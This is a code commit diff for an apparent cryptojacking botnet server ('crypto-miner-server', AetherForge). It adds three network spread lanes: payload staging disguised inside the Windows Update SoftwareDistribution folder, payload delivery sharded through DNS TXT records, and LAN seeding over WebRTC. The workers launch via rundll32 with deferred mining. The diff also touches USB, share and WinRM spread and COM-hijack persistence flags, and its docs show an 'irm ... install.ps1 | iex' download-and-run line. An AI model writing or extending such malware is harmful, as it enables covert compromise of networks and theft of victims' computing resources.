Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
@@ -73,10 +73,21 @@ type ServerSettings struct {
|
||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||
// ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join.
|
||||
ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"`
|
||||
// DNSZone is the suffix for _aether.<zone> TXT mesh records (e.g. site.internal).
|
||||
DNSZone string `json:"dns_zone,omitempty"`
|
||||
// WebRTCMeshPolicy controls LAN seeder rotation and STUN for webrtc_mesh spread.
|
||||
WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"`
|
||||
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
|
||||
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
||||
type WebRTCMeshPolicySettings struct {
|
||||
Enabled bool `json:"enabled,omitempty"`
|
||||
STUNServers []string `json:"stun_servers,omitempty"`
|
||||
RotationHours int `json:"rotation_hours,omitempty"`
|
||||
}
|
||||
|
||||
// TripleOnionSettings is Calibrate policy for the agent triple onion.
|
||||
type TripleOnionSettings struct {
|
||||
PatchFirst bool `json:"patch_first,omitempty"`
|
||||
@@ -259,8 +270,15 @@ func DefaultConfig() *Config {
|
||||
LotlOnionTiers: []string{
|
||||
"vuln_recon",
|
||||
"docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
|
||||
"smb", "winrm", "linux", "gpo",
|
||||
},
|
||||
DNSZone: "internal",
|
||||
WebRTCMeshPolicy: WebRTCMeshPolicySettings{
|
||||
Enabled: false,
|
||||
STUNServers: []string{"stun:stun.l.google.com:19302"},
|
||||
RotationHours: 24,
|
||||
},
|
||||
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
|
||||
},
|
||||
}
|
||||
@@ -963,6 +981,14 @@ func (c *Config) Save() error {
|
||||
|
||||
func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
|
||||
return map[string]ServiceDeployLane{
|
||||
"DoSvc": {Lane: "do_peer", Priority: 35},
|
||||
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
|
||||
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
|
||||
"dns_txt": {Lane: "dns_txt", Priority: 33},
|
||||
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
|
||||
@@ -28,11 +28,26 @@ type StagingManifest struct {
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
CacheGroup string `json:"cache_group,omitempty"`
|
||||
DNSZone string `json:"dns_zone,omitempty"`
|
||||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans.
|
||||
type WebRTCMeshPlanBody struct {
|
||||
STUNServers []string `json:"stun_servers,omitempty"`
|
||||
SignalingRelay string `json:"signaling_relay,omitempty"`
|
||||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||||
SeederAgentID string `json:"seeder_agent_id,omitempty"`
|
||||
RotationHours int `json:"rotation_hours,omitempty"`
|
||||
IsSeeder bool `json:"is_seeder,omitempty"`
|
||||
}
|
||||
|
||||
type StagingChunk struct {
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
Record string `json:"record,omitempty"`
|
||||
Index int `json:"index,omitempty"`
|
||||
}
|
||||
|
||||
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
|
||||
@@ -42,6 +57,12 @@ type DeployPlanBody struct {
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
CacheGroup string `json:"cache_group,omitempty"`
|
||||
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
|
||||
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
|
||||
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
|
||||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||||
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
@@ -154,6 +175,30 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.PeerGroup = manifest.PeerGroup
|
||||
case "wsus_cache_peer":
|
||||
manifest, err := h.buildWSUSCachePeerManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.CacheGroup = manifest.CacheGroup
|
||||
case "dns_txt":
|
||||
manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.DNSTXTZone = zone
|
||||
body.DNSTXTRecords = records
|
||||
body.DNSTXTShards = shards
|
||||
body.TTLRefreshSec = ttl
|
||||
case "webrtc_mesh":
|
||||
manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.WebRTCMesh = mesh
|
||||
case "bits_curl":
|
||||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||||
if err != nil {
|
||||
@@ -236,6 +281,174 @@ func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL
|
||||
}, nil
|
||||
}
|
||||
|
||||
// buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download.
|
||||
func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||||
cacheGroup := "af-wsus-" + hash[:8]
|
||||
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
||||
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
|
||||
}
|
||||
|
||||
dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe`
|
||||
launch := "exe"
|
||||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||||
dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll`
|
||||
launch = "rundll32"
|
||||
}
|
||||
|
||||
return &StagingManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
DLLExport: "DllRegisterServer",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
CacheGroup: cacheGroup,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
|
||||
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, "", nil, nil, 0, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
zone := h.dnsTXTZone()
|
||||
records := []string{
|
||||
"_aether.shard0." + zone,
|
||||
"_aether.shard1." + zone,
|
||||
}
|
||||
shards := []int{0, 1}
|
||||
ttl := 300
|
||||
|
||||
chunks := make([]StagingChunk, len(records))
|
||||
for i, rec := range records {
|
||||
chunks[i] = StagingChunk{
|
||||
Record: rec,
|
||||
Index: shards[i],
|
||||
File: fmt.Sprintf("shard-%d.b64", shards[i]),
|
||||
URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec),
|
||||
}
|
||||
}
|
||||
|
||||
dest := `%TEMP%\AetherForge\dns-txt-worker.exe`
|
||||
launch := "exe"
|
||||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||||
dest = `%TEMP%\AetherForge\dns-txt-worker.dll`
|
||||
launch = "rundll32"
|
||||
}
|
||||
|
||||
manifest := &StagingManifest{
|
||||
Method: "dns_txt",
|
||||
Chunks: chunks,
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
DLLExport: "DllRegisterServer",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
DNSZone: zone,
|
||||
TTLRefreshSec: ttl,
|
||||
}
|
||||
return manifest, zone, records, shards, ttl, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) dnsTXTZone() string {
|
||||
zone := "internal"
|
||||
if h.allowlist != nil {
|
||||
_ = h.allowlist()
|
||||
}
|
||||
if h.dataDir != "" {
|
||||
cfgPath := filepath.Join(h.dataDir, "config.json")
|
||||
if data, err := os.ReadFile(cfgPath); err == nil {
|
||||
var payload struct {
|
||||
Server struct {
|
||||
DNSZone string `json:"dns_zone"`
|
||||
} `json:"server"`
|
||||
}
|
||||
if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" {
|
||||
zone = strings.TrimSpace(payload.Server.DNSZone)
|
||||
}
|
||||
}
|
||||
}
|
||||
return zone
|
||||
}
|
||||
|
||||
// buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet.
|
||||
func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&")
|
||||
if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" {
|
||||
fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&")
|
||||
}
|
||||
|
||||
dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe`
|
||||
launch := "exe"
|
||||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||||
dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll`
|
||||
launch = "rundll32"
|
||||
}
|
||||
|
||||
manifest := &StagingManifest{
|
||||
Method: "webrtc_mesh",
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
DLLExport: "DllRegisterServer",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
}
|
||||
mesh := &WebRTCMeshPlanBody{
|
||||
STUNServers: []string{"stun:stun.l.google.com:19302"},
|
||||
SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay",
|
||||
LANFallbackURL: fallbackURL,
|
||||
SeederAgentID: strings.TrimSpace(req.AgentID),
|
||||
RotationHours: 24,
|
||||
}
|
||||
return manifest, mesh, nil
|
||||
}
|
||||
|
||||
func sanitizeDeployToken(s string) string {
|
||||
s = strings.ToLower(strings.TrimSpace(s))
|
||||
var b strings.Builder
|
||||
|
||||
121
server/internal/api/deploy_plan_test.go
Normal file
121
server/internal/api/deploy_plan_test.go
Normal file
@@ -0,0 +1,121 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func testDeployPlanHandler(t *testing.T) *DeployPlanHandler {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
database, err := dbpkg.New(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
buildDir := filepath.Join(dir, "builds", "b1")
|
||||
if err := os.MkdirAll(buildDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
artifact := filepath.Join(buildDir, "worker.exe")
|
||||
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return NewDeployPlanHandler(database, dir, dir,
|
||||
func() string { return "http://127.0.0.1:8989" },
|
||||
func() string { return "fleet-test" },
|
||||
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
|
||||
)
|
||||
}
|
||||
|
||||
func TestBuildPlanWSUSCachePeerLane(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1",
|
||||
}, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "wsus_cache_peer" || plan.Manifest == nil {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
if plan.CacheGroup == "" || plan.Manifest.CacheGroup == "" {
|
||||
t.Fatal("expected cache_group")
|
||||
}
|
||||
if !containsStr(plan.Manifest.Dest, "SoftwareDistribution") {
|
||||
t.Fatalf("dest=%q", plan.Manifest.Dest)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlanDNSTXTLane(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1",
|
||||
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "dns_txt" || plan.Manifest == nil {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
if plan.DNSTXTZone != "lab.internal" || len(plan.DNSTXTRecords) < 1 {
|
||||
t.Fatalf("dns zone/records: zone=%q records=%v", plan.DNSTXTZone, plan.DNSTXTRecords)
|
||||
}
|
||||
if plan.TTLRefreshSec <= 0 {
|
||||
t.Fatal("expected ttl_refresh_sec")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlanWebRTCMeshLane(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
AgentID: "agent-seed-1", Platform: "windows", BuildID: "b1",
|
||||
}, "webrtc_mesh", ServiceDeployLane{Lane: "webrtc_mesh"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "webrtc_mesh" || plan.WebRTCMesh == nil {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
if plan.WebRTCMesh.RotationHours != 24 || plan.WebRTCMesh.SeederAgentID != "agent-seed-1" {
|
||||
t.Fatalf("mesh=%+v", plan.WebRTCMesh)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneWSUSBelowDoSvc(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{
|
||||
{Name: "Wuauserv", Status: "running"},
|
||||
{Name: "DoSvc", Status: "running"},
|
||||
}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok || matched != "DoSvc" || lane.Lane != "do_peer" {
|
||||
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
|
||||
}
|
||||
}
|
||||
|
||||
func containsStr(s, sub string) bool {
|
||||
return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexStr(s, sub) >= 0)
|
||||
}
|
||||
|
||||
func indexStr(s, sub string) int {
|
||||
for i := 0; i+len(sub) <= len(s); i++ {
|
||||
if s[i:i+len(sub)] == sub {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -136,6 +137,68 @@ func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, path)
|
||||
}
|
||||
|
||||
// GET /api/v1/public/dns-txt/{record}
|
||||
// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable.
|
||||
func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) {
|
||||
record := strings.TrimSpace(chi.URLParam(r, "record"))
|
||||
if record == "" {
|
||||
http.Error(w, "record required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
|
||||
if buildID == "" {
|
||||
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
|
||||
}
|
||||
platform := strings.TrimSpace(r.URL.Query().Get("os"))
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
build, err := h.resolveLatestBuild(buildID, platform)
|
||||
if err != nil {
|
||||
http.Error(w, "build not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(build.FilePath)
|
||||
if err != nil {
|
||||
http.Error(w, "artifact missing", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
// Single-shard simulation for tests; multi-shard plans use per-record URLs.
|
||||
w.Header().Set("Content-Type", "text/plain")
|
||||
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
|
||||
}
|
||||
|
||||
// GET /api/v1/public/webrtc-mesh/manifest
|
||||
// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay.
|
||||
func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
|
||||
if buildID == "" {
|
||||
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
|
||||
}
|
||||
platform := strings.TrimSpace(r.URL.Query().Get("os"))
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
build, err := h.resolveLatestBuild(buildID, platform)
|
||||
if err != nil {
|
||||
http.Error(w, "build not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
http.ServeFile(w, r, build.FilePath)
|
||||
}
|
||||
|
||||
func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) {
|
||||
if buildID != "" {
|
||||
return h.db.GetBuild(buildID)
|
||||
}
|
||||
return h.db.GetLatestBuildForPlatform(platform)
|
||||
}
|
||||
|
||||
func encodeDNSTXTShard(data []byte) string {
|
||||
return base64.StdEncoding.EncodeToString(data)
|
||||
}
|
||||
|
||||
func clientIP(r *http.Request) string {
|
||||
ip := r.Header.Get("X-Forwarded-For")
|
||||
if ip == "" {
|
||||
|
||||
@@ -736,6 +736,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||
r.Get("/public/download/{id}", publicHandler.Download)
|
||||
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
|
||||
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
|
||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
@@ -16,6 +16,12 @@ type ServiceDeployLane struct {
|
||||
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
||||
"DoSvc": {Lane: "do_peer", Priority: 35},
|
||||
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
|
||||
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
|
||||
"dns_txt": {Lane: "dns_txt", Priority: 33},
|
||||
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
@@ -69,6 +75,12 @@ func normalizeJoinLane(lane string) string {
|
||||
return "bits_curl"
|
||||
case "do_peer", "do-peer", "dosvc":
|
||||
return "do_peer"
|
||||
case "wsus_cache_peer", "wsus-cache-peer", "wsus":
|
||||
return "wsus_cache_peer"
|
||||
case "dns_txt", "dns-txt":
|
||||
return "dns_txt"
|
||||
case "webrtc_mesh", "webrtc-mesh":
|
||||
return "webrtc_mesh"
|
||||
case "docker", "docker_load", "docker-load":
|
||||
return "docker_load"
|
||||
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":
|
||||
|
||||
@@ -23,6 +23,28 @@ func TestNormalizeJoinLaneDoPeer(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeJoinLaneNewTiers(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"wsus-cache-peer": "wsus_cache_peer",
|
||||
"dns-txt": "dns_txt",
|
||||
"webrtc-mesh": "webrtc_mesh",
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := normalizeJoinLane(in); got != want {
|
||||
t.Fatalf("%q => %q want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneDNSTXT(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{{Name: "dns_txt:_aether", Status: "running"}}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok || matched != "dns_txt:_aether" || lane.Lane != "dns_txt" {
|
||||
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLanePriority(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
|
||||
@@ -85,8 +85,11 @@ type BuildRequest struct {
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
ShareSpread bool `json:"share_spread"`
|
||||
WinRMSpread bool `json:"winrm_spread"`
|
||||
COMHijackPersist bool `json:"com_hijack_persist"`
|
||||
WinRMSpread bool `json:"winrm_spread"`
|
||||
DnsTxtSpread bool `json:"dns_txt_spread"`
|
||||
WebRTCMeshSpread bool `json:"webrtc_mesh_spread"`
|
||||
WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
|
||||
COMHijackPersist bool `json:"com_hijack_persist"`
|
||||
LinuxLOTLMode string `json:"linux_lotl_mode"`
|
||||
TargetOS string `json:"target_os"`
|
||||
TargetArch string `json:"target_arch"`
|
||||
@@ -1216,6 +1219,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
USBSpread: %v,
|
||||
ShareSpread: %v,
|
||||
WinRMSpread: %v,
|
||||
DnsTxtSpread: %v,
|
||||
WebRTCMeshSpread: %v,
|
||||
WSUSCachePeerSpread: %v,
|
||||
COMHijackPersist: %v,
|
||||
LinuxLOTLMode: %q,
|
||||
BackupServerURLs: %s,
|
||||
@@ -1299,6 +1305,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.USBSpread,
|
||||
req.ShareSpread,
|
||||
req.WinRMSpread,
|
||||
req.DnsTxtSpread,
|
||||
req.WebRTCMeshSpread,
|
||||
req.WSUSCachePeerSpread,
|
||||
req.COMHijackPersist,
|
||||
req.LinuxLOTLMode,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
|
||||
@@ -11,6 +11,9 @@ var DefaultLotlOnionTiers = []string{
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"do_peer",
|
||||
"wsus_cache_peer",
|
||||
"dns_txt",
|
||||
"webrtc_mesh",
|
||||
"smb",
|
||||
"winrm",
|
||||
"linux",
|
||||
@@ -22,7 +25,8 @@ func NormalizeLotlOnionTiers(raw []string) []string {
|
||||
allowed := map[string]struct{}{
|
||||
"vuln_recon": {},
|
||||
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||
"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
|
||||
"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
}
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, t := range raw {
|
||||
|
||||
@@ -4,7 +4,7 @@ import "testing"
|
||||
|
||||
func TestNormalizeLotlOnionTiers(t *testing.T) {
|
||||
got := NormalizeLotlOnionTiers(nil)
|
||||
if len(got) != 10 || got[0] != "vuln_recon" || got[9] != "gpo" {
|
||||
if len(got) != 14 || got[0] != "vuln_recon" || got[13] != "gpo" {
|
||||
t.Fatalf("defaults: %v", got)
|
||||
}
|
||||
}
|
||||
@@ -25,7 +25,7 @@ func TestApplyLotlOnionPreset(t *testing.T) {
|
||||
if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
|
||||
t.Fatal("spread profile")
|
||||
}
|
||||
if len(req.LotlOnionTiers) != 10 {
|
||||
if len(req.LotlOnionTiers) != 14 {
|
||||
t.Fatalf("tiers: %v", req.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -423,6 +423,21 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||||
<td>DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via <code>rundll32</code> or exe with <code>--defer-mining</code>.</td>
|
||||
<td>Probe & Join when <code>DoSvc</code> is running — signed plan: <code>{"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}}</code></td>
|
||||
</tr>
|
||||
<tr id="lotl-tier-wsus_cache_peer">
|
||||
<td><strong>wsus_cache_peer</strong></td>
|
||||
<td>WSUS offline cache cousin — stages beside <code>SoftwareDistribution\Download</code>; probes Wuauserv/AU registry; hash verify + <code>rundll32</code>/exe with <code>--defer-mining</code>.</td>
|
||||
<td>Forge <code>wsus_cache_peer_spread</code> ON — <code>Wuauserv</code> → <code>join_lane: wsus_cache_peer</code> (priority after <code>do_peer</code>).</td>
|
||||
</tr>
|
||||
<tr id="lotl-tier-dns_txt">
|
||||
<td><strong>dns_txt</strong></td>
|
||||
<td>DNS TXT mesh — shards in <code>_aether.<zone></code>; agent <code>nslookup</code>/<code>Resolve-DnsName</code>, assemble, SHA256 verify. Policy refresh via TXT TTL; tests use <code>/api/v1/public/dns-txt/{record}</code> fallback.</td>
|
||||
